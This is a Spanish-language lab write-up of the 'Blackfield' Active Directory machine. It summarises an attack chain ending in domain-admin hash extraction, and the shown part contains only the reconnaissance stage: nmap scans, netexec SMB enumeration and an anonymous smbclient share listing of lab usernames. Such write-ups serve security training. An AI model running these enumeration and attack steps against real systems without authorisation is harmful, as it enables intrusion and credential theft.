Entrada

Blackfield

Blackfield

Skills

  • SMB Enumeration
  • Kerberos User Enumeration (Kerbrute)
  • ASRepRoast Attack (GetNPUsers)
  • Bloodhound Enumeration
  • Abusing ForceChangePassword Privilege (net rpc)
  • Lsass Dump Analysis (Pypykatz)
  • Abusing WinRM
  • SeBackupPrivilege Exploitation
  • DiskShadow
  • Robocopy Usage
  • NTDS Credentials Extraction (secretsdump)

Certificaciones

  • OSCP
  • OSEP
  • eCPPTv3

Descripción

Backfield es una máquina hard windows que presenta errores de configuración en Windows y Active Directory. Se utiliza el acceso anónimo/invitado a un recurso compartido de SMB para enumerar usuarios. Una vez que se encuentra un usuario con la preautenticación de Kerberos deshabilitada, esto nos permite realizar un ataque ASREPRoasting. Este ataque nos permite recuperar un hash del material encriptado contenido en el AS-REP, el cual puede ser sometido a un ataque de fuerza bruta offline para obtener la contraseña en texto plano. Con este usuario, podemos acceder a un recurso compartido de SMB que contiene artefactos forenses, incluido un volcado del proceso lsass. Este volcado contiene un nombre de usuario y una contraseña para un usuario con privilegios de WinRM, quien también es miembro del grupo de Backup Operators. Los privilegios conferidos por este grupo privilegiado se utilizan para extraer la base de datos de Active Directory y recuperar el hash del administrador de dominio principal


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas windows suele ser 128, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
8
9
# ping -c 3 10.129.229.17
PING 10.129.229.17 (10.129.229.17) 56(84) bytes of data.
64 bytes from 10.129.229.17: icmp_seq=1 ttl=127 time=39.2 ms
64 bytes from 10.129.229.17: icmp_seq=2 ttl=127 time=37.0 ms
64 bytes from 10.129.229.17: icmp_seq=3 ttl=127 time=38.2 ms

--- 10.129.229.17 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 36.974/38.107/39.177/0.900 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.229.17 -oG openPorts
[sudo] password for justice-reaper: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-05 20:12 CEST
Initiating SYN Stealth Scan at 20:12
Scanning 10.129.229.17 [65535 ports]
Discovered open port 53/tcp on 10.129.229.17
Discovered open port 445/tcp on 10.129.229.17
Discovered open port 135/tcp on 10.129.229.17
Discovered open port 5985/tcp on 10.129.229.17
Discovered open port 88/tcp on 10.129.229.17
Discovered open port 593/tcp on 10.129.229.17
Discovered open port 3268/tcp on 10.129.229.17
Discovered open port 389/tcp on 10.129.229.17
Completed SYN Stealth Scan at 20:12, 26.36s elapsed (65535 total ports)
Nmap scan report for 10.129.229.17
Host is up (0.045s latency).
Not shown: 65527 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
389/tcp  open  ldap
445/tcp  open  microsoft-ds
593/tcp  open  http-rpc-epmap
3268/tcp open  globalcatLDAP
5985/tcp open  wsman

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.46 seconds
           Raw packets sent: 131080 (5.768MB) | Rcvd: 29 (1.396KB)

Se procede a realizar un análisis de detección de servicios y la identificación de versiones utilizando los puertos abiertos encontrados

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# nmap -sCV -p 53,88,135,389,445,593,3268,5985 10.129.229.17 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-05 20:15 CEST
Nmap scan report for 10.129.229.17
Host is up (0.10s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-10-06 01:15:20Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-10-06T01:15:25
|_  start_date: N/A
|_clock-skew: 7h00m00s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.13 seconds

Smb Enumeration

Obtenemos el nombre de la máquina y el dominio

1
2
# netexec smb 10.129.229.17                                              
SMB         10.129.229.17   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)

Los añadimos al /etc/hosts

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       kali-linux
10.129.153.116  DC01 BLACKFIELD.local DC01.BLACKFIELD.local

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Listamos recursos compartidos por smb

1
2
3
4
5
6
7
8
9
10
11
12
13
# netexec smb 10.129.229.17 -u 'guest' -p '' --shares 
SMB         10.129.229.17   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.129.229.17   445    DC01             [+] BLACKFIELD.local\guest: 
SMB         10.129.229.17   445    DC01             [*] Enumerated shares
SMB         10.129.229.17   445    DC01             Share           Permissions     Remark
SMB         10.129.229.17   445    DC01             -----           -----------     ------
SMB         10.129.229.17   445    DC01             ADMIN$                          Remote Admin
SMB         10.129.229.17   445    DC01             C$                              Default share
SMB         10.129.229.17   445    DC01             forensic                        Forensic / Audit share.
SMB         10.129.229.17   445    DC01             IPC$            READ            Remote IPC
SMB         10.129.229.17   445    DC01             NETLOGON                        Logon server share 
SMB         10.129.229.17   445    DC01             profiles$       READ            
SMB         10.129.229.17   445    DC01             SYSVOL                          Logon server share 

Nos conectamos con smbclient a profiles$ y obtenemos un listado de nombres de usuario

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
# smbclient --no-pass //10.129.229.17/profiles$          

Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Jun  3 18:47:12 2020
  ..                                  D        0  Wed Jun  3 18:47:12 2020
  AAlleni                             D        0  Wed Jun  3 18:47:11 2020
  ABarteski                           D        0  Wed Jun  3 18:47:11 2020
  ABekesz                             D        0  Wed Jun  3 18:47:11 2020
  ABenzies                            D        0  Wed Jun  3 18:47:11 2020
  ABiemiller                          D        0  Wed Jun  3 18:47:11 2020
  AChampken                           D        0  Wed Jun  3 18:47:11 2020
  ACheretei                           D        0  Wed Jun  3 18:47:11 2020
  ACsonaki                            D        0  Wed Jun  3 18:47:11 2020
  AHigchens                           D        0  Wed Jun  3 18:47:11 2020
  AJaquemai                           D        0  Wed Jun  3 18:47:11 2020
  AKlado                              D        0  Wed Jun  3 18:47:11 2020
  AKoffenburger                       D        0  Wed Jun  3 18:47:11 2020
  AKollolli                           D        0  Wed Jun  3 18:47:11 2020
  AKruppe                             D        0  Wed Jun  3 18:47:11 2020
  AKubale                             D        0  Wed Jun  3 18:47:11 2020
  ALamerz                             D        0  Wed Jun  3 18:47:11 2020
  AMaceldon                           D        0  Wed Jun  3 18:47:11 2020
  AMasalunga                          D        0  Wed Jun  3 18:47:11 2020
  ANavay                              D        0  Wed Jun  3 18:47:11 2020
  ANesterova                          D        0  Wed Jun  3 18:47:11 2020
  ANeusse                             D        0  Wed Jun  3 18:47:11 2020
  AOkleshen                           D        0  Wed Jun  3 18:47:11 2020
  APustulka                           D        0  Wed Jun  3 18:47:11 2020
  ARotella                            D        0  Wed Jun  3 18:47:11 2020
  ASanwardeker                        D        0  Wed Jun  3 18:47:11 2020
  AShadaia                            D        0  Wed Jun  3 18:47:11 2020
  ASischo                             D        0  Wed Jun  3 18:47:11 2020
  ASpruce                             D        0  Wed Jun  3 18:47:11 2020
  ATakach                             D        0  Wed Jun  3 18:47:11 2020
  ATaueg                              D        0  Wed Jun  3 18:47:11 2020
  ATwardowski                         D        0  Wed Jun  3 18:47:11 2020
  audit2020                           D        0  Wed Jun  3 18:47:11 2020
  AWangenheim                         D        0  Wed Jun  3 18:47:11 2020
  AWorsey                             D        0  Wed Jun  3 18:47:11 2020
  AZigmunt                            D        0  Wed Jun  3 18:47:11 2020
  BBakajza                            D        0  Wed Jun  3 18:47:11 2020
  BBeloucif                           D        0  Wed Jun  3 18:47:11 2020
  BCarmitcheal                        D        0  Wed Jun  3 18:47:11 2020
  BConsultant                         D        0  Wed Jun  3 18:47:11 2020
  BErdossy                            D        0  Wed Jun  3 18:47:11 2020
  BGeminski                           D        0  Wed Jun  3 18:47:11 2020
  BLostal                             D        0  Wed Jun  3 18:47:11 2020
  BMannise                            D        0  Wed Jun  3 18:47:11 2020
  BNovrotsky                          D        0  Wed Jun  3 18:47:11 2020
  BRigiero                            D        0  Wed Jun  3 18:47:11 2020
  BSamkoses                           D        0  Wed Jun  3 18:47:11 2020
  BZandonella                         D        0  Wed Jun  3 18:47:11 2020
  CAcherman                           D        0  Wed Jun  3 18:47:12 2020
  CAkbari                             D        0  Wed Jun  3 18:47:12 2020
  CAldhowaihi                         D        0  Wed Jun  3 18:47:12 2020
  CArgyropolous                       D        0  Wed Jun  3 18:47:12 2020
  CDufrasne                           D        0  Wed Jun  3 18:47:12 2020
  CGronk                              D        0  Wed Jun  3 18:47:11 2020
  Chiucarello                         D        0  Wed Jun  3 18:47:11 2020
  Chiuccariello                       D        0  Wed Jun  3 18:47:12 2020
  CHoytal                             D        0  Wed Jun  3 18:47:12 2020
  CKijauskas                          D        0  Wed Jun  3 18:47:12 2020
  CKolbo                              D        0  Wed Jun  3 18:47:12 2020
  CMakutenas                          D        0  Wed Jun  3 18:47:12 2020
  CMorcillo                           D        0  Wed Jun  3 18:47:11 2020
  CSchandall                          D        0  Wed Jun  3 18:47:12 2020
  CSelters                            D        0  Wed Jun  3 18:47:12 2020
  CTolmie                             D        0  Wed Jun  3 18:47:12 2020
  DCecere                             D        0  Wed Jun  3 18:47:12 2020
  DChintalapalli                      D        0  Wed Jun  3 18:47:12 2020
  DCwilich                            D        0  Wed Jun  3 18:47:12 2020
  DGarbatiuc                          D        0  Wed Jun  3 18:47:12 2020
  DKemesies                           D        0  Wed Jun  3 18:47:12 2020
  DMatuka                             D        0  Wed Jun  3 18:47:12 2020
  DMedeme                             D        0  Wed Jun  3 18:47:12 2020
  DMeherek                            D        0  Wed Jun  3 18:47:12 2020
  DMetych                             D        0  Wed Jun  3 18:47:12 2020
  DPaskalev                           D        0  Wed Jun  3 18:47:12 2020
  DPriporov                           D        0  Wed Jun  3 18:47:12 2020
  DRusanovskaya                       D        0  Wed Jun  3 18:47:12 2020
  DVellela                            D        0  Wed Jun  3 18:47:12 2020
  DVogleson                           D        0  Wed Jun  3 18:47:12 2020
  DZwinak                             D        0  Wed Jun  3 18:47:12 2020
  EBoley                              D        0  Wed Jun  3 18:47:12 2020
  EEulau                              D        0  Wed Jun  3 18:47:12 2020
  EFeatherling                        D        0  Wed Jun  3 18:47:12 2020
  EFrixione                           D        0  Wed Jun  3 18:47:12 2020
  EJenorik                            D        0  Wed Jun  3 18:47:12 2020
  EKmilanovic                         D        0  Wed Jun  3 18:47:12 2020
  ElKatkowsky                         D        0  Wed Jun  3 18:47:12 2020
  EmaCaratenuto                       D        0  Wed Jun  3 18:47:12 2020
  EPalislamovic                       D        0  Wed Jun  3 18:47:12 2020
  EPryar                              D        0  Wed Jun  3 18:47:12 2020
  ESachhitello                        D        0  Wed Jun  3 18:47:12 2020
  ESariotti                           D        0  Wed Jun  3 18:47:12 2020
  ETurgano                            D        0  Wed Jun  3 18:47:12 2020
  EWojtila                            D        0  Wed Jun  3 18:47:12 2020
  FAlirezai                           D        0  Wed Jun  3 18:47:12 2020
  FBaldwind                           D        0  Wed Jun  3 18:47:12 2020
  FBroj                               D        0  Wed Jun  3 18:47:12 2020
  FDeblaquire                         D        0  Wed Jun  3 18:47:12 2020
  FDegeorgio                          D        0  Wed Jun  3 18:47:12 2020
  FianLaginja                         D        0  Wed Jun  3 18:47:12 2020
  FLasokowski                         D        0  Wed Jun  3 18:47:12 2020
  FPflum                              D        0  Wed Jun  3 18:47:12 2020
  FReffey                             D        0  Wed Jun  3 18:47:12 2020
  GaBelithe                           D        0  Wed Jun  3 18:47:12 2020
  Gareld                              D        0  Wed Jun  3 18:47:12 2020
  GBatowski                           D        0  Wed Jun  3 18:47:12 2020
  GForshalger                         D        0  Wed Jun  3 18:47:12 2020
  GGomane                             D        0  Wed Jun  3 18:47:12 2020
  GHisek                              D        0  Wed Jun  3 18:47:12 2020
  GMaroufkhani                        D        0  Wed Jun  3 18:47:12 2020
  GMerewether                         D        0  Wed Jun  3 18:47:12 2020
  GQuinniey                           D        0  Wed Jun  3 18:47:12 2020
  GRoswurm                            D        0  Wed Jun  3 18:47:12 2020
  GWiegard                            D        0  Wed Jun  3 18:47:12 2020
  HBlaziewske                         D        0  Wed Jun  3 18:47:12 2020
  HColantino                          D        0  Wed Jun  3 18:47:12 2020
  HConforto                           D        0  Wed Jun  3 18:47:12 2020
  HCunnally                           D        0  Wed Jun  3 18:47:12 2020
  HGougen                             D        0  Wed Jun  3 18:47:12 2020
  HKostova                            D        0  Wed Jun  3 18:47:12 2020
  IChristijr                          D        0  Wed Jun  3 18:47:12 2020
  IKoledo                             D        0  Wed Jun  3 18:47:12 2020
  IKotecky                            D        0  Wed Jun  3 18:47:12 2020
  ISantosi                            D        0  Wed Jun  3 18:47:12 2020
  JAngvall                            D        0  Wed Jun  3 18:47:12 2020
  JBehmoiras                          D        0  Wed Jun  3 18:47:12 2020
  JDanten                             D        0  Wed Jun  3 18:47:12 2020
  JDjouka                             D        0  Wed Jun  3 18:47:12 2020
  JKondziola                          D        0  Wed Jun  3 18:47:12 2020
  JLeytushsenior                      D        0  Wed Jun  3 18:47:12 2020
  JLuthner                            D        0  Wed Jun  3 18:47:12 2020
  JMoorehendrickson                   D        0  Wed Jun  3 18:47:12 2020
  JPistachio                          D        0  Wed Jun  3 18:47:12 2020
  JScima                              D        0  Wed Jun  3 18:47:12 2020
  JSebaali                            D        0  Wed Jun  3 18:47:12 2020
  JShoenherr                          D        0  Wed Jun  3 18:47:12 2020
  JShuselvt                           D        0  Wed Jun  3 18:47:12 2020
  KAmavisca                           D        0  Wed Jun  3 18:47:12 2020
  KAtolikian                          D        0  Wed Jun  3 18:47:12 2020
  KBrokinn                            D        0  Wed Jun  3 18:47:12 2020
  KCockeril                           D        0  Wed Jun  3 18:47:12 2020
  KColtart                            D        0  Wed Jun  3 18:47:12 2020
  KCyster                             D        0  Wed Jun  3 18:47:12 2020
  KDorney                             D        0  Wed Jun  3 18:47:12 2020
  KKoesno                             D        0  Wed Jun  3 18:47:12 2020
  KLangfur                            D        0  Wed Jun  3 18:47:12 2020
  KMahalik                            D        0  Wed Jun  3 18:47:12 2020
  KMasloch                            D        0  Wed Jun  3 18:47:12 2020
  KMibach                             D        0  Wed Jun  3 18:47:12 2020
  KParvankova                         D        0  Wed Jun  3 18:47:12 2020
  KPregnolato                         D        0  Wed Jun  3 18:47:12 2020
  KRasmor                             D        0  Wed Jun  3 18:47:12 2020
  KShievitz                           D        0  Wed Jun  3 18:47:12 2020
  KSojdelius                          D        0  Wed Jun  3 18:47:12 2020
  KTambourgi                          D        0  Wed Jun  3 18:47:12 2020
  KVlahopoulos                        D        0  Wed Jun  3 18:47:12 2020
  KZyballa                            D        0  Wed Jun  3 18:47:12 2020
  LBajewsky                           D        0  Wed Jun  3 18:47:12 2020
  LBaligand                           D        0  Wed Jun  3 18:47:12 2020
  LBarhamand                          D        0  Wed Jun  3 18:47:12 2020
  LBirer                              D        0  Wed Jun  3 18:47:12 2020
  LBobelis                            D        0  Wed Jun  3 18:47:12 2020
  LChippel                            D        0  Wed Jun  3 18:47:12 2020
  LChoffin                            D        0  Wed Jun  3 18:47:12 2020
  LCominelli                          D        0  Wed Jun  3 18:47:12 2020
  LDruge                              D        0  Wed Jun  3 18:47:12 2020
  LEzepek                             D        0  Wed Jun  3 18:47:12 2020
  LHyungkim                           D        0  Wed Jun  3 18:47:12 2020
  LKarabag                            D        0  Wed Jun  3 18:47:12 2020
  LKirousis                           D        0  Wed Jun  3 18:47:12 2020
  LKnade                              D        0  Wed Jun  3 18:47:12 2020
  LKrioua                             D        0  Wed Jun  3 18:47:12 2020
  LLefebvre                           D        0  Wed Jun  3 18:47:12 2020
  LLoeradeavilez                      D        0  Wed Jun  3 18:47:12 2020
  LMichoud                            D        0  Wed Jun  3 18:47:12 2020
  LTindall                            D        0  Wed Jun  3 18:47:12 2020
  LYturbe                             D        0  Wed Jun  3 18:47:12 2020
  MArcynski                           D        0  Wed Jun  3 18:47:12 2020
  MAthilakshmi                        D        0  Wed Jun  3 18:47:12 2020
  MAttravanam                         D        0  Wed Jun  3 18:47:12 2020
  MBrambini                           D        0  Wed Jun  3 18:47:12 2020
  MHatziantoniou                      D        0  Wed Jun  3 18:47:12 2020
  MHoerauf                            D        0  Wed Jun  3 18:47:12 2020
  MKermarrec                          D        0  Wed Jun  3 18:47:12 2020
  MKillberg                           D        0  Wed Jun  3 18:47:12 2020
  MLapesh                             D        0  Wed Jun  3 18:47:12 2020
  MMakhsous                           D        0  Wed Jun  3 18:47:12 2020
  MMerezio                            D        0  Wed Jun  3 18:47:12 2020
  MNaciri                             D        0  Wed Jun  3 18:47:12 2020
  MShanmugarajah                      D        0  Wed Jun  3 18:47:12 2020
  MSichkar                            D        0  Wed Jun  3 18:47:12 2020
  MTemko                              D        0  Wed Jun  3 18:47:12 2020
  MTipirneni                          D        0  Wed Jun  3 18:47:12 2020
  MTonuri                             D        0  Wed Jun  3 18:47:12 2020
  MVanarsdel                          D        0  Wed Jun  3 18:47:12 2020
  NBellibas                           D        0  Wed Jun  3 18:47:12 2020
  NDikoka                             D        0  Wed Jun  3 18:47:12 2020
  NGenevro                            D        0  Wed Jun  3 18:47:12 2020
  NGoddanti                           D        0  Wed Jun  3 18:47:12 2020
  NMrdirk                             D        0  Wed Jun  3 18:47:12 2020
  NPulido                             D        0  Wed Jun  3 18:47:12 2020
  NRonges                             D        0  Wed Jun  3 18:47:12 2020
  NSchepkie                           D        0  Wed Jun  3 18:47:12 2020
  NVanpraet                           D        0  Wed Jun  3 18:47:12 2020
  OBelghazi                           D        0  Wed Jun  3 18:47:12 2020
  OBushey                             D        0  Wed Jun  3 18:47:12 2020
  OHardybala                          D        0  Wed Jun  3 18:47:12 2020
  OLunas                              D        0  Wed Jun  3 18:47:12 2020
  ORbabka                             D        0  Wed Jun  3 18:47:12 2020
  PBourrat                            D        0  Wed Jun  3 18:47:12 2020
  PBozzelle                           D        0  Wed Jun  3 18:47:12 2020
  PBranti                             D        0  Wed Jun  3 18:47:12 2020
  PCapperella                         D        0  Wed Jun  3 18:47:12 2020
  PCurtz                              D        0  Wed Jun  3 18:47:12 2020
  PDoreste                            D        0  Wed Jun  3 18:47:12 2020
  PGegnas                             D        0  Wed Jun  3 18:47:12 2020
  PMasulla                            D        0  Wed Jun  3 18:47:12 2020
  PMendlinger                         D        0  Wed Jun  3 18:47:12 2020
  PParakat                            D        0  Wed Jun  3 18:47:12 2020
  PProvencer                          D        0  Wed Jun  3 18:47:12 2020
  PTesik                              D        0  Wed Jun  3 18:47:12 2020
  PVinkovich                          D        0  Wed Jun  3 18:47:12 2020
  PVirding                            D        0  Wed Jun  3 18:47:12 2020
  PWeinkaus                           D        0  Wed Jun  3 18:47:12 2020
  RBaliukonis                         D        0  Wed Jun  3 18:47:12 2020
  RBochare                            D        0  Wed Jun  3 18:47:12 2020
  RKrnjaic                            D        0  Wed Jun  3 18:47:12 2020
  RNemnich                            D        0  Wed Jun  3 18:47:12 2020
  RPoretsky                           D        0  Wed Jun  3 18:47:12 2020
  RStuehringer                        D        0  Wed Jun  3 18:47:12 2020
  RSzewczuga                          D        0  Wed Jun  3 18:47:12 2020
  RVallandas                          D        0  Wed Jun  3 18:47:12 2020
  RWeatherl                           D        0  Wed Jun  3 18:47:12 2020
  RWissor                             D        0  Wed Jun  3 18:47:12 2020
  SAbdulagatov                        D        0  Wed Jun  3 18:47:12 2020
  SAjowi                              D        0  Wed Jun  3 18:47:12 2020
  SAlguwaihes                         D        0  Wed Jun  3 18:47:12 2020
  SBonaparte                          D        0  Wed Jun  3 18:47:12 2020
  SBouzane                            D        0  Wed Jun  3 18:47:12 2020
  SChatin                             D        0  Wed Jun  3 18:47:12 2020
  SDellabitta                         D        0  Wed Jun  3 18:47:12 2020
  SDhodapkar                          D        0  Wed Jun  3 18:47:12 2020
  SEulert                             D        0  Wed Jun  3 18:47:12 2020
  SFadrigalan                         D        0  Wed Jun  3 18:47:12 2020
  SGolds                              D        0  Wed Jun  3 18:47:12 2020
  SGrifasi                            D        0  Wed Jun  3 18:47:12 2020
  SGtlinas                            D        0  Wed Jun  3 18:47:12 2020
  SHauht                              D        0  Wed Jun  3 18:47:12 2020
  SHederian                           D        0  Wed Jun  3 18:47:12 2020
  SHelregel                           D        0  Wed Jun  3 18:47:12 2020
  SKrulig                             D        0  Wed Jun  3 18:47:12 2020
  SLewrie                             D        0  Wed Jun  3 18:47:12 2020
  SMaskil                             D        0  Wed Jun  3 18:47:12 2020
  Smocker                             D        0  Wed Jun  3 18:47:12 2020
  SMoyta                              D        0  Wed Jun  3 18:47:12 2020
  SRaustiala                          D        0  Wed Jun  3 18:47:12 2020
  SReppond                            D        0  Wed Jun  3 18:47:12 2020
  SSicliano                           D        0  Wed Jun  3 18:47:12 2020
  SSilex                              D        0  Wed Jun  3 18:47:12 2020
  SSolsbak                            D        0  Wed Jun  3 18:47:12 2020
  STousignaut                         D        0  Wed Jun  3 18:47:12 2020
  support                             D        0  Wed Jun  3 18:47:12 2020
  svc_backup                          D        0  Wed Jun  3 18:47:12 2020
  SWhyte                              D        0  Wed Jun  3 18:47:12 2020
  SWynigear                           D        0  Wed Jun  3 18:47:12 2020
  TAwaysheh                           D        0  Wed Jun  3 18:47:12 2020
  TBadenbach                          D        0  Wed Jun  3 18:47:12 2020
  TCaffo                              D        0  Wed Jun  3 18:47:12 2020
  TCassalom                           D        0  Wed Jun  3 18:47:12 2020
  TEiselt                             D        0  Wed Jun  3 18:47:12 2020
  TFerencdo                           D        0  Wed Jun  3 18:47:12 2020
  TGaleazza                           D        0  Wed Jun  3 18:47:12 2020
  TKauten                             D        0  Wed Jun  3 18:47:12 2020
  TKnupke                             D        0  Wed Jun  3 18:47:12 2020
  TLintlop                            D        0  Wed Jun  3 18:47:12 2020
  TMusselli                           D        0  Wed Jun  3 18:47:12 2020
  TOust                               D        0  Wed Jun  3 18:47:12 2020
  TSlupka                             D        0  Wed Jun  3 18:47:12 2020
  TStausland                          D        0  Wed Jun  3 18:47:12 2020
  TZumpella                           D        0  Wed Jun  3 18:47:12 2020
  UCrofskey                           D        0  Wed Jun  3 18:47:12 2020
  UMarylebone                         D        0  Wed Jun  3 18:47:12 2020
  UPyrke                              D        0  Wed Jun  3 18:47:12 2020
  VBublavy                            D        0  Wed Jun  3 18:47:12 2020
  VButziger                           D        0  Wed Jun  3 18:47:12 2020
  VFuscca                             D        0  Wed Jun  3 18:47:12 2020
  VLitschauer                         D        0  Wed Jun  3 18:47:12 2020
  VMamchuk                            D        0  Wed Jun  3 18:47:12 2020
  VMarija                             D        0  Wed Jun  3 18:47:12 2020
  VOlaosun                            D        0  Wed Jun  3 18:47:12 2020
  VPapalouca                          D        0  Wed Jun  3 18:47:12 2020
  WSaldat                             D        0  Wed Jun  3 18:47:12 2020
  WVerzhbytska                        D        0  Wed Jun  3 18:47:12 2020
  WZelazny                            D        0  Wed Jun  3 18:47:12 2020
  XBemelen                            D        0  Wed Jun  3 18:47:12 2020
  XDadant                             D        0  Wed Jun  3 18:47:12 2020
  XDebes                              D        0  Wed Jun  3 18:47:12 2020
  XKonegni                            D        0  Wed Jun  3 18:47:12 2020
  XRykiel                             D        0  Wed Jun  3 18:47:12 2020
  YBleasdale                          D        0  Wed Jun  3 18:47:12 2020
  YHuftalin                           D        0  Wed Jun  3 18:47:12 2020
  YKivlen                             D        0  Wed Jun  3 18:47:12 2020
